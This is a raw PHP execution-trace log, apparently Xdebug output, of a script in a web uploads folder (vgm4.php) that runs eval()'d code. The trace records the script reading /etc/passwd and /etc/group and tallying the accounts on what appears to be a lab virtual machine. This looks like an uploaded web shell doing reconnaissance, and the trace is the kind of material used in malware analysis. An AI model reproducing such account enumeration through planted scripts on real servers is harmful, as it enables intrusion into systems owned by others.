4	26	R			[0 => 'root:x:0:0:root:/root:/bin/bash', 1 => 'daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin', 2 => 'bin:x:2:2:bin:/bin:/usr/sbin/nologin', 3 => 'sys:x:3:3:sys:/dev:/usr/sbin/nologin', 4 => 'sync:x:4:65534:sync:/bin:/bin/sync', 5 => 'games:x:5:60:games:/usr/games:/usr/sbin/nologin', 6 => 'man:x:6:12:man:/var/cache/man:/usr/sbin/nologin', 7 => 'lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin', 8 => 'mail:x:8:8:mail:/var/mail:/usr/sbin/nologin', 9 => 'news:x:9:9:news:/var/spool/news:/usr/sbin/nologin', 10 => 'uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin', 11 => 'proxy:x:13:13:proxy:/bin:/usr/sbin/nologin', 12 => 'www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin', 13 => 'backup:x:34:34:backup:/var/backups:/usr/sbin/nologin', 14 => 'list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin', 15 => 'irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin', 16 => 'gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin', 17 => 'nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin', 18 => 'systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin', 19 => 'systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin', 20 => 'messagebus:x:102:105::/nonexistent:/usr/sbin/nologin', 21 => 'systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin', 22 => 'syslog:x:104:111::/home/syslog:/usr/sbin/nologin', 23 => '_apt:x:105:65534::/nonexistent:/usr/sbin/nologin', 24 => 'tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false', 25 => 'uuidd:x:107:115::/run/uuidd:/usr/sbin/nologin', 26 => 'systemd-oom:x:108:116:systemd Userspace OOM Killer,,,:/run/systemd:/usr/sbin/nologin', 27 => 'tcpdump:x:109:117::/nonexistent:/usr/sbin/nologin', 28 => 'avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin', 29 => 'usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin', 30 => 'dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin', 31 => 'kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin', 32 => 'avahi:x:114:121:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin', 33 => 'cups-pk-helper:x:115:122:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin', 34 => 'rtkit:x:116:123:RealtimeKit,,,:/proc:/usr/sbin/nologin', 35 => 'whoopsie:x:117:124::/nonexistent:/bin/false', 36 => 'sssd:x:118:125:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin', 37 => 'speech-dispatcher:x:119:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false', 38 => 'nm-openvpn:x:120:126:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin', 39 => 'saned:x:121:128::/var/lib/saned:/usr/sbin/nologin', 40 => 'colord:x:122:129:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin', 41 => 'geoclue:x:123:130::/var/lib/geoclue:/usr/sbin/nologin', 42 => 'pulse:x:124:131:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin', 43 => 'gnome-initial-setup:x:125:65534::/run/gnome-initial-setup/:/bin/false', 44 => 'hplip:x:126:7:HPLIP system user,,,:/run/hplip:/bin/false', 45 => 'gdm:x:127:133:Gnome Display Manager:/var/lib/gdm3:/bin/false', 46 => 'osboxes:x:1000:1000:osboxes.org,,,:/home/osboxes:/bin/bash']
3		A						/var/www/html/uploads/vgm4.php(1) : eval()'d code	791	$read_as_arr = [0 => 'root:x:0:0:root:/root:/bin/bash', 1 => 'daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin', 2 => 'bin:x:2:2:bin:/bin:/usr/sbin/nologin', 3 => 'sys:x:3:3:sys:/dev:/usr/sbin/nologin', 4 => 'sync:x:4:65534:sync:/bin:/bin/sync', 5 => 'games:x:5:60:games:/usr/games:/usr/sbin/nologin', 6 => 'man:x:6:12:man:/var/cache/man:/usr/sbin/nologin', 7 => 'lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin', 8 => 'mail:x:8:8:mail:/var/mail:/usr/sbin/nologin', 9 => 'news:x:9:9:news:/var/spool/news:/usr/sbin/nologin', 10 => 'uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin', 11 => 'proxy:x:13:13:proxy:/bin:/usr/sbin/nologin', 12 => 'www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin', 13 => 'backup:x:34:34:backup:/var/backups:/usr/sbin/nologin', 14 => 'list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin', 15 => 'irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin', 16 => 'gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin', 17 => 'nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin', 18 => 'systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin', 19 => 'systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin', 20 => 'messagebus:x:102:105::/nonexistent:/usr/sbin/nologin', 21 => 'systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin', 22 => 'syslog:x:104:111::/home/syslog:/usr/sbin/nologin', 23 => '_apt:x:105:65534::/nonexistent:/usr/sbin/nologin', 24 => 'tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false', 25 => 'uuidd:x:107:115::/run/uuidd:/usr/sbin/nologin', 26 => 'systemd-oom:x:108:116:systemd Userspace OOM Killer,,,:/run/systemd:/usr/sbin/nologin', 27 => 'tcpdump:x:109:117::/nonexistent:/usr/sbin/nologin', 28 => 'avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin', 29 => 'usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin', 30 => 'dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin', 31 => 'kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin', 32 => 'avahi:x:114:121:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin', 33 => 'cups-pk-helper:x:115:122:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin', 34 => 'rtkit:x:116:123:RealtimeKit,,,:/proc:/usr/sbin/nologin', 35 => 'whoopsie:x:117:124::/nonexistent:/bin/false', 36 => 'sssd:x:118:125:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin', 37 => 'speech-dispatcher:x:119:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false', 38 => 'nm-openvpn:x:120:126:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin', 39 => 'saned:x:121:128::/var/lib/saned:/usr/sbin/nologin', 40 => 'colord:x:122:129:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin', 41 => 'geoclue:x:123:130::/var/lib/geoclue:/usr/sbin/nologin', 42 => 'pulse:x:124:131:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin', 43 => 'gnome-initial-setup:x:125:65534::/run/gnome-initial-setup/:/bin/false', 44 => 'hplip:x:126:7:HPLIP system user,,,:/run/hplip:/bin/false', 45 => 'gdm:x:127:133:Gnome Display Manager:/var/lib/gdm3:/bin/false', 46 => 'osboxes:x:1000:1000:osboxes.org,,,:/home/osboxes:/bin/bash']
3	22	1	0.014200	1545560
3	22	R			47
2		A						/var/www/html/uploads/vgm4.php(1) : eval()'d code	375	$user_count = 47
3	74	0	0.014229	1545560	helpers->get_groups_count	1		/var/www/html/uploads/vgm4.php(1) : eval()'d code	376	0
4	75	0	0.014244	1545560	substr	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	796	3	'Linux'	0	3
4	75	1	0.014260	1545688
4	75	R			'Lin'
4	76	0	0.014274	1545592	strtoupper	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	796	1	'Lin'
4	76	1	0.014287	1545656
4	76	R			'LIN'
4	77	0	0.014301	1545560	file	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'/etc/group'
4	77	1	0.014335	1557096
4	77	R			[0 => 'root:x:0:\n', 1 => 'daemon:x:1:\n', 2 => 'bin:x:2:\n', 3 => 'sys:x:3:\n', 4 => 'adm:x:4:syslog,osboxes\n', 5 => 'tty:x:5:\n', 6 => 'disk:x:6:\n', 7 => 'lp:x:7:\n', 8 => 'mail:x:8:\n', 9 => 'news:x:9:\n', 10 => 'uucp:x:10:\n', 11 => 'man:x:12:\n', 12 => 'proxy:x:13:\n', 13 => 'kmem:x:15:\n', 14 => 'dialout:x:20:\n', 15 => 'fax:x:21:\n', 16 => 'voice:x:22:\n', 17 => 'cdrom:x:24:osboxes\n', 18 => 'floppy:x:25:\n', 19 => 'tape:x:26:\n', 20 => 'sudo:x:27:osboxes\n', 21 => 'audio:x:29:pulse\n', 22 => 'dip:x:30:osboxes\n', 23 => 'www-data:x:33:\n', 24 => 'backup:x:34:\n', 25 => 'operator:x:37:\n', 26 => 'list:x:38:\n', 27 => 'irc:x:39:\n', 28 => 'src:x:40:\n', 29 => 'gnats:x:41:\n', 30 => 'shadow:x:42:\n', 31 => 'utmp:x:43:\n', 32 => 'video:x:44:\n', 33 => 'sasl:x:45:\n', 34 => 'plugdev:x:46:osboxes\n', 35 => 'staff:x:50:\n', 36 => 'games:x:60:\n', 37 => 'users:x:100:\n', 38 => 'nogroup:x:65534:\n', 39 => 'systemd-journal:x:101:\n', 40 => 'systemd-network:x:102:\n', 41 => 'systemd-resolve:x:103:\n', 42 => 'crontab:x:104:\n', 43 => 'messagebus:x:105:\n', 44 => 'systemd-timesync:x:106:\n', 45 => 'input:x:107:\n', 46 => 'sgx:x:108:\n', 47 => 'kvm:x:109:\n', 48 => 'render:x:110:\n', 49 => 'syslog:x:111:\n', 50 => 'tss:x:112:\n', 51 => 'bluetooth:x:113:\n', 52 => 'ssl-cert:x:114:\n', 53 => 'uuidd:x:115:\n', 54 => 'systemd-oom:x:116:\n', 55 => 'tcpdump:x:117:\n', 56 => '_ssh:x:118:\n', 57 => 'avahi-autoipd:x:119:\n', 58 => 'netdev:x:120:\n', 59 => 'avahi:x:121:\n', 60 => 'lpadmin:x:122:osboxes\n', 61 => 'rtkit:x:123:\n', 62 => 'whoopsie:x:124:\n', 63 => 'sssd:x:125:\n', 64 => 'nm-openvpn:x:126:\n', 65 => 'scanner:x:127:saned\n', 66 => 'saned:x:128:\n', 67 => 'colord:x:129:\n', 68 => 'geoclue:x:130:\n', 69 => 'pulse:x:131:\n', 70 => 'pulse-access:x:132:\n', 71 => 'gdm:x:133:\n', 72 => 'lxd:x:134:osboxes\n', 73 => 'osboxes:x:1000:\n', 74 => 'sambashare:x:135:osboxes\n', 75 => 'vboxsf:x:136:\n']
4	78	0	0.014424	1557056	array_map	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	2	'trim'	[0 => 'root:x:0:\n', 1 => 'daemon:x:1:\n', 2 => 'bin:x:2:\n', 3 => 'sys:x:3:\n', 4 => 'adm:x:4:syslog,osboxes\n', 5 => 'tty:x:5:\n', 6 => 'disk:x:6:\n', 7 => 'lp:x:7:\n', 8 => 'mail:x:8:\n', 9 => 'news:x:9:\n', 10 => 'uucp:x:10:\n', 11 => 'man:x:12:\n', 12 => 'proxy:x:13:\n', 13 => 'kmem:x:15:\n', 14 => 'dialout:x:20:\n', 15 => 'fax:x:21:\n', 16 => 'voice:x:22:\n', 17 => 'cdrom:x:24:osboxes\n', 18 => 'floppy:x:25:\n', 19 => 'tape:x:26:\n', 20 => 'sudo:x:27:osboxes\n', 21 => 'audio:x:29:pulse\n', 22 => 'dip:x:30:osboxes\n', 23 => 'www-data:x:33:\n', 24 => 'backup:x:34:\n', 25 => 'operator:x:37:\n', 26 => 'list:x:38:\n', 27 => 'irc:x:39:\n', 28 => 'src:x:40:\n', 29 => 'gnats:x:41:\n', 30 => 'shadow:x:42:\n', 31 => 'utmp:x:43:\n', 32 => 'video:x:44:\n', 33 => 'sasl:x:45:\n', 34 => 'plugdev:x:46:osboxes\n', 35 => 'staff:x:50:\n', 36 => 'games:x:60:\n', 37 => 'users:x:100:\n', 38 => 'nogroup:x:65534:\n', 39 => 'systemd-journal:x:101:\n', 40 => 'systemd-network:x:102:\n', 41 => 'systemd-resolve:x:103:\n', 42 => 'crontab:x:104:\n', 43 => 'messagebus:x:105:\n', 44 => 'systemd-timesync:x:106:\n', 45 => 'input:x:107:\n', 46 => 'sgx:x:108:\n', 47 => 'kvm:x:109:\n', 48 => 'render:x:110:\n', 49 => 'syslog:x:111:\n', 50 => 'tss:x:112:\n', 51 => 'bluetooth:x:113:\n', 52 => 'ssl-cert:x:114:\n', 53 => 'uuidd:x:115:\n', 54 => 'systemd-oom:x:116:\n', 55 => 'tcpdump:x:117:\n', 56 => '_ssh:x:118:\n', 57 => 'avahi-autoipd:x:119:\n', 58 => 'netdev:x:120:\n', 59 => 'avahi:x:121:\n', 60 => 'lpadmin:x:122:osboxes\n', 61 => 'rtkit:x:123:\n', 62 => 'whoopsie:x:124:\n', 63 => 'sssd:x:125:\n', 64 => 'nm-openvpn:x:126:\n', 65 => 'scanner:x:127:saned\n', 66 => 'saned:x:128:\n', 67 => 'colord:x:129:\n', 68 => 'geoclue:x:130:\n', 69 => 'pulse:x:131:\n', 70 => 'pulse-access:x:132:\n', 71 => 'gdm:x:133:\n', 72 => 'lxd:x:134:osboxes\n', 73 => 'osboxes:x:1000:\n', 74 => 'sambashare:x:135:osboxes\n', 75 => 'vboxsf:x:136:\n']
5	79	0	0.014506	1557184	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'root:x:0:\n'
5	79	1	0.014520	1557256
5	79	R			'root:x:0:'
5	80	0	0.014535	1565416	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'daemon:x:1:\n'
5	80	1	0.014549	1565488
5	80	R			'daemon:x:1:'
5	81	0	0.014563	1565456	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'bin:x:2:\n'
5	81	1	0.014577	1565528
5	81	R			'bin:x:2:'
5	82	0	0.014591	1565496	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'sys:x:3:\n'
5	82	1	0.014604	1565568
5	82	R			'sys:x:3:'
5	83	0	0.014618	1565536	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'adm:x:4:syslog,osboxes\n'
5	83	1	0.014632	1565616
5	83	R			'adm:x:4:syslog,osboxes'
5	84	0	0.014650	1565584	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'tty:x:5:\n'
5	84	1	0.014663	1565656
5	84	R			'tty:x:5:'
5	85	0	0.014676	1565624	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'disk:x:6:\n'
5	85	1	0.014690	1565696
5	85	R			'disk:x:6:'
5	86	0	0.014703	1565664	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'lp:x:7:\n'
5	86	1	0.014717	1565728
5	86	R			'lp:x:7:'
5	87	0	0.014730	1565696	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'mail:x:8:\n'
5	87	1	0.014743	1565768
5	87	R			'mail:x:8:'
5	88	0	0.014756	1565736	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'news:x:9:\n'
5	88	1	0.014769	1565808
5	88	R			'news:x:9:'
5	89	0	0.014783	1565776	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'uucp:x:10:\n'
5	89	1	0.014796	1565848
5	89	R			'uucp:x:10:'
5	90	0	0.014809	1565816	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'man:x:12:\n'
5	90	1	0.014822	1565888
5	90	R			'man:x:12:'
5	91	0	0.014835	1565856	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'proxy:x:13:\n'
5	91	1	0.014848	1565928
5	91	R			'proxy:x:13:'
5	92	0	0.014861	1565896	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'kmem:x:15:\n'
5	92	1	0.014874	1565968
5	92	R			'kmem:x:15:'
5	93	0	0.014887	1565936	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'dialout:x:20:\n'
5	93	1	0.014900	1566008
5	93	R			'dialout:x:20:'
5	94	0	0.014914	1565976	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'fax:x:21:\n'
5	94	1	0.014927	1566048
5	94	R			'fax:x:21:'
5	95	0	0.014940	1566016	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'voice:x:22:\n'
5	95	1	0.014953	1566088
5	95	R			'voice:x:22:'
5	96	0	0.014966	1566056	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'cdrom:x:24:osboxes\n'
5	96	1	0.014980	1566136
5	96	R			'cdrom:x:24:osboxes'
5	97	0	0.014993	1566104	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'floppy:x:25:\n'
5	97	1	0.015007	1566176
5	97	R			'floppy:x:25:'
5	98	0	0.015020	1566144	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'tape:x:26:\n'
5	98	1	0.015033	1566216
5	98	R			'tape:x:26:'
5	99	0	0.015046	1566184	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'sudo:x:27:osboxes\n'
5	99	1	0.015060	1566264
5	99	R			'sudo:x:27:osboxes'
5	100	0	0.015073	1566232	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'audio:x:29:pulse\n'
5	100	1	0.015086	1566312
5	100	R			'audio:x:29:pulse'
5	101	0	0.015100	1566280	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'dip:x:30:osboxes\n'
5	101	1	0.015114	1566360
5	101	R			'dip:x:30:osboxes'
5	102	0	0.015127	1566328	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'www-data:x:33:\n'
5	102	1	0.015141	1566400
5	102	R			'www-data:x:33:'
5	103	0	0.015154	1566368	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'backup:x:34:\n'
5	103	1	0.015168	1566440
5	103	R			'backup:x:34:'
5	104	0	0.015181	1566408	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'operator:x:37:\n'
5	104	1	0.015194	1566480
5	104	R			'operator:x:37:'
5	105	0	0.015208	1566448	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'list:x:38:\n'
5	105	1	0.015221	1566520
5	105	R			'list:x:38:'
5	106	0	0.015234	1566488	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'irc:x:39:\n'
5	106	1	0.015247	1566560
5	106	R			'irc:x:39:'
5	107	0	0.015260	1566528	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'src:x:40:\n'
5	107	1	0.015274	1566600
5	107	R			'src:x:40:'
5	108	0	0.015287	1566568	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'gnats:x:41:\n'
5	108	1	0.015303	1566640
5	108	R			'gnats:x:41:'
5	109	0	0.015317	1566608	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'shadow:x:42:\n'
5	109	1	0.015331	1566680
5	109	R			'shadow:x:42:'
5	110	0	0.015344	1566648	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'utmp:x:43:\n'
5	110	1	0.015357	1566720
5	110	R			'utmp:x:43:'
5	111	0	0.015371	1566688	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'video:x:44:\n'
5	111	1	0.015384	1566760
5	111	R			'video:x:44:'
5	112	0	0.015397	1566728	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'sasl:x:45:\n'
5	112	1	0.015410	1566800
5	112	R			'sasl:x:45:'
5	113	0	0.015423	1566768	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'plugdev:x:46:osboxes\n'
5	113	1	0.015436	1566848
5	113	R			'plugdev:x:46:osboxes'
5	114	0	0.015451	1566816	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'staff:x:50:\n'
5	114	1	0.015464	1566888
5	114	R			'staff:x:50:'
5	115	0	0.015478	1566856	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'games:x:60:\n'
5	115	1	0.015491	1566928
5	115	R			'games:x:60:'
5	116	0	0.015505	1566896	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'users:x:100:\n'
5	116	1	0.015518	1566968
5	116	R			'users:x:100:'
5	117	0	0.015531	1566936	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'nogroup:x:65534:\n'
5	117	1	0.015544	1567016
5	117	R			'nogroup:x:65534:'
5	118	0	0.015558	1566984	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'systemd-journal:x:101:\n'
5	118	1	0.015576	1567064
5	118	R			'systemd-journal:x:101:'
5	119	0	0.015599	1567032	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'systemd-network:x:102:\n'
5	119	1	0.015619	1567112
5	119	R			'systemd-network:x:102:'
5	120	0	0.015643	1567080	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'systemd-resolve:x:103:\n'
5	120	1	0.015663	1567160
5	120	R			'systemd-resolve:x:103:'
5	121	0	0.015685	1567128	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'crontab:x:104:\n'
5	121	1	0.015705	1567200
5	121	R			'crontab:x:104:'
5	122	0	0.015725	1567168	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'messagebus:x:105:\n'
5	122	1	0.015746	1567248
5	122	R			'messagebus:x:105:'
5	123	0	0.015767	1567216	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'systemd-timesync:x:106:\n'
5	123	1	0.015788	1567296
5	123	R			'systemd-timesync:x:106:'
5	124	0	0.015810	1567264	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'input:x:107:\n'
5	124	1	0.015830	1567336
5	124	R			'input:x:107:'
5	125	0	0.015851	1567304	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'sgx:x:108:\n'
5	125	1	0.015871	1567376
5	125	R			'sgx:x:108:'
5	126	0	0.015891	1567344	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'kvm:x:109:\n'
5	126	1	0.015910	1567416
5	126	R			'kvm:x:109:'
5	127	0	0.015931	1567384	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'render:x:110:\n'
5	127	1	0.015951	1567456
5	127	R			'render:x:110:'
5	128	0	0.015973	1567424	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'syslog:x:111:\n'
5	128	1	0.015992	1567496
5	128	R			'syslog:x:111:'
5	129	0	0.016013	1567464	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'tss:x:112:\n'
5	129	1	0.016033	1567536
5	129	R			'tss:x:112:'
5	130	0	0.016053	1567504	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'bluetooth:x:113:\n'
5	130	1	0.016073	1567584
5	130	R			'bluetooth:x:113:'
5	131	0	0.016094	1567552	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'ssl-cert:x:114:\n'
5	131	1	0.016113	1567624
5	131	R			'ssl-cert:x:114:'
5	132	0	0.016134	1567592	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'uuidd:x:115:\n'
5	132	1	0.016160	1567664
5	132	R			'uuidd:x:115:'
5	133	0	0.016181	1567632	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'systemd-oom:x:116:\n'
5	133	1	0.016201	1567712
5	133	R			'systemd-oom:x:116:'
5	134	0	0.016222	1567680	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'tcpdump:x:117:\n'
5	134	1	0.016242	1567752
5	134	R			'tcpdump:x:117:'
5	135	0	0.016262	1567720	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'_ssh:x:118:\n'
5	135	1	0.016282	1567792
5	135	R			'_ssh:x:118:'
5	136	0	0.016302	1567760	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'avahi-autoipd:x:119:\n'
5	136	1	0.016322	1567840
5	136	R			'avahi-autoipd:x:119:'
5	137	0	0.016343	1567808	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'netdev:x:120:\n'
5	137	1	0.016362	1567880
5	137	R			'netdev:x:120:'
5	138	0	0.016382	1567848	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'avahi:x:121:\n'
5	138	1	0.016402	1567920
5	138	R			'avahi:x:121:'
5	139	0	0.016423	1567888	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'lpadmin:x:122:osboxes\n'
5	139	1	0.016443	1567968
5	139	R			'lpadmin:x:122:osboxes'
5	140	0	0.016464	1567936	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'rtkit:x:123:\n'
5	140	1	0.016483	1568008
5	140	R			'rtkit:x:123:'
5	141	0	0.016503	1567976	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'whoopsie:x:124:\n'
5	141	1	0.016522	1568048
5	141	R			'whoopsie:x:124:'
5	142	0	0.016544	1568016	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'sssd:x:125:\n'
5	142	1	0.016563	1568088
5	142	R			'sssd:x:125:'
5	143	0	0.016583	1568056	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'nm-openvpn:x:126:\n'
5	143	1	0.016603	1568136
5	143	R			'nm-openvpn:x:126:'
5	144	0	0.016625	1568104	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'scanner:x:127:saned\n'
5	144	1	0.016645	1568184
5	144	R			'scanner:x:127:saned'
5	145	0	0.016666	1568152	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'saned:x:128:\n'
5	145	1	0.016686	1568224
5	145	R			'saned:x:128:'
5	146	0	0.016707	1568192	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'colord:x:129:\n'
5	146	1	0.016726	1568264
5	146	R			'colord:x:129:'
5	147	0	0.016747	1568232	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'geoclue:x:130:\n'
5	147	1	0.016776	1568304
5	147	R			'geoclue:x:130:'
5	148	0	0.016797	1568272	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'pulse:x:131:\n'
5	148	1	0.016816	1568344
5	148	R			'pulse:x:131:'
5	149	0	0.016842	1568312	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'pulse-access:x:132:\n'
5	149	1	0.016862	1568392
5	149	R			'pulse-access:x:132:'
5	150	0	0.016884	1568360	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'gdm:x:133:\n'
5	150	1	0.016904	1568432
5	150	R			'gdm:x:133:'
5	151	0	0.016925	1568400	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'lxd:x:134:osboxes\n'
5	151	1	0.016945	1568480
5	151	R			'lxd:x:134:osboxes'
5	152	0	0.016966	1568448	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'osboxes:x:1000:\n'
5	152	1	0.016984	1568520
5	152	R			'osboxes:x:1000:'
5	153	0	0.017006	1568488	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'sambashare:x:135:osboxes\n'
5	153	1	0.017022	1568576
5	153	R			'sambashare:x:135:osboxes'
5	154	0	0.017057	1568544	trim	0		/var/www/html/uploads/vgm4.php(1) : eval()'d code	799	1	'vboxsf:x:136:\n'
5	154	1	0.017072	1568616
5	154	R			'vboxsf:x:136:'
4	78	1	0.017086	1568584
